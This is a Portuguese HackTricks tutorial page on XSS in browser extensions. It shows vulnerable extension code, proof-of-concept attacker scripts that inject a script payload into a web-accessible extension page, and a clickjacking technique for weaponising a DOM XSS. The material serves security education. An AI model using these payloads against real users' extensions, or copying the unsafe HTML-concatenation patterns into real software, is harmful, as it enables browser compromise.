mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-06 10:18:55 +00:00
136 lines
7.2 KiB
Markdown
136 lines
7.2 KiB
Markdown
|
# BrowExt - Exemplo de XSS
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Outras formas de apoiar o HackTricks:
|
|||
|
|
|||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|
|||
|
|
|||
|
## XSS em Iframe
|
|||
|
|
|||
|
**Content script** cria um Iframe indicando uma **URL nos parâmetros da fonte do iFrame**:
|
|||
|
```javascript
|
|||
|
chrome.storage.local.get("message", result =>
|
|||
|
{
|
|||
|
frame.src = chrome.runtime.getURL("message.html") +
|
|||
|
"?message=" + encodeURIComponent(result.message) +
|
|||
|
"&url=https://example.net/explanation";
|
|||
|
});
|
|||
|
```
|
|||
|
Uma página html exposta: **`message.html`**, acessível pelo **navegador**, contém um código como:
|
|||
|
```java
|
|||
|
$(() =>
|
|||
|
{
|
|||
|
let params = new URLSearchParams(location.search);
|
|||
|
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
|||
|
$("body > button").click(() =>
|
|||
|
{
|
|||
|
chrome.tabs.create({ url: params.get("url") });
|
|||
|
});
|
|||
|
});
|
|||
|
```
|
|||
|
A página maliciosa executa um script como o seguinte para alterar a mensagem por um **XSS payload**:
|
|||
|
```javascript
|
|||
|
setTimeout(() =>
|
|||
|
{
|
|||
|
let frame = document.querySelector("iframe:last-child");
|
|||
|
let src = frame.src;
|
|||
|
|
|||
|
// Remove existing query parameters
|
|||
|
src = src.replace(/\?.*/, "");
|
|||
|
|
|||
|
// Add malicious query parameters
|
|||
|
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
|||
|
|
|||
|
// Load into frame
|
|||
|
frame.src = src;
|
|||
|
}, 1000);
|
|||
|
```
|
|||
|
Uma Política de Segurança de Conteúdo permissiva como 
|
|||
|
```json
|
|||
|
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
|||
|
```
|
|||
|
permitirá a execução do código JS.
|
|||
|
|
|||
|
Outra forma de acionar o XSS quando desejar é executando:
|
|||
|
```javascript
|
|||
|
let frame = document.createElement("iframe");
|
|||
|
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
|||
|
+ encodeURIComponent("<script>alert('XSS')</script>");
|
|||
|
document.body.appendChild(frame);
|
|||
|
```
|
|||
|
## XSS Baseado em DOM + ClickJacking
|
|||
|
|
|||
|
A primeira vulnerabilidade é a vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM em **`/html/bookmarks.html`**, a seguir está o JavaScript vulnerável incluído em **`bookmarks.js`**:
|
|||
|
```javascript
|
|||
|
$('#btAdd').click(function() {
|
|||
|
var btname = $('#txtName').val();
|
|||
|
if ($('.custom-button .name').filter(function() {
|
|||
|
return $(this).text() === btname;
|
|||
|
}).length) return false;
|
|||
|
|
|||
|
var span = $('<span class="custom-button">');
|
|||
|
span.html('<span class="name">' + btname + '</span>');
|
|||
|
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
|||
|
span.attr('title', btname);
|
|||
|
span.data('id', (new Date().getTime()));
|
|||
|
$('div.custom-buttons .existing').append(span);
|
|||
|
save_options();
|
|||
|
});
|
|||
|
```
|
|||
|
O JavaScript acima pega o **valor** da caixa de texto **`txtName`** e usa **concatenação de strings para construir HTML** que é anexado ao DOM através da função [“append()”](https://api.jquery.com/append/) do jQuery.
|
|||
|
|
|||
|
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome deveria impedir que essa vulnerabilidade fosse explorada. No entanto, devido ao **afrouxamento dessa política via** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) e ao uso das APIs DOM do jQuery, ainda foi possível **explorar**. Isso ocorre porque muitas das APIs DOM do jQuery fazem uso de [“globalEval()”](https://api.jquery.com/jquery.globaleval/), que automaticamente passa scripts para [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ao serem anexados ao DOM.
|
|||
|
|
|||
|
Embora essa seja uma vulnerabilidade grave, por si só a exploração é bastante limitada devido à **interação do usuário necessária para explorá-la**. A vítima teria que abrir a página, colar um payload de Cross-site Scripting (XSS) no campo e clicar no botão “Add” para explorá-la.
|
|||
|
|
|||
|
Para melhor armar essa vulnerabilidade, fazemos uso de uma vulnerabilidade separada (**clickjacking**) para reforçar o ataque.
|
|||
|
|
|||
|
A seguir, um trecho do manifesto da extensão do Chrome:
|
|||
|
```json
|
|||
|
...trimmed for brevity...
|
|||
|
"web_accessible_resources": [
|
|||
|
"_locales/*",
|
|||
|
"bundle/*",
|
|||
|
"dist/*",
|
|||
|
"assets/*",
|
|||
|
"font/*",
|
|||
|
"html/bookmarks.html",
|
|||
|
"css/*.css",
|
|||
|
"js/*.js",
|
|||
|
"js/jquery/*.js",
|
|||
|
"js/lang/*"
|
|||
|
],
|
|||
|
...trimmed for brevity...
|
|||
|
```
|
|||
|
A seção acima demonstra que a extensão abrange um amplo espectro com sua política de **`web_accessible_resources`**.
|
|||
|
|
|||
|
A página **`/html/bookmarks.html`** também pode ser **emoldurada** e, portanto, **explorada** via **clickjacking**. Nós abusamos disso para emoldurar esta página em nossa página web e **sobrepor o frame com elementos DOM para redirecionar o layout**. Isso faz com que a vítima não perceba que está **interagindo com a extensão abaixo**. A animação a seguir demonstra esse efeito (confira a animação no [**artigo original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
|
|||
|
|
|||
|
## Referências
|
|||
|
|
|||
|
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
|||
|
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Outras formas de apoiar o HackTricks:
|
|||
|
|
|||
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|||
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|||
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|||
|
|
|||
|
</details>
|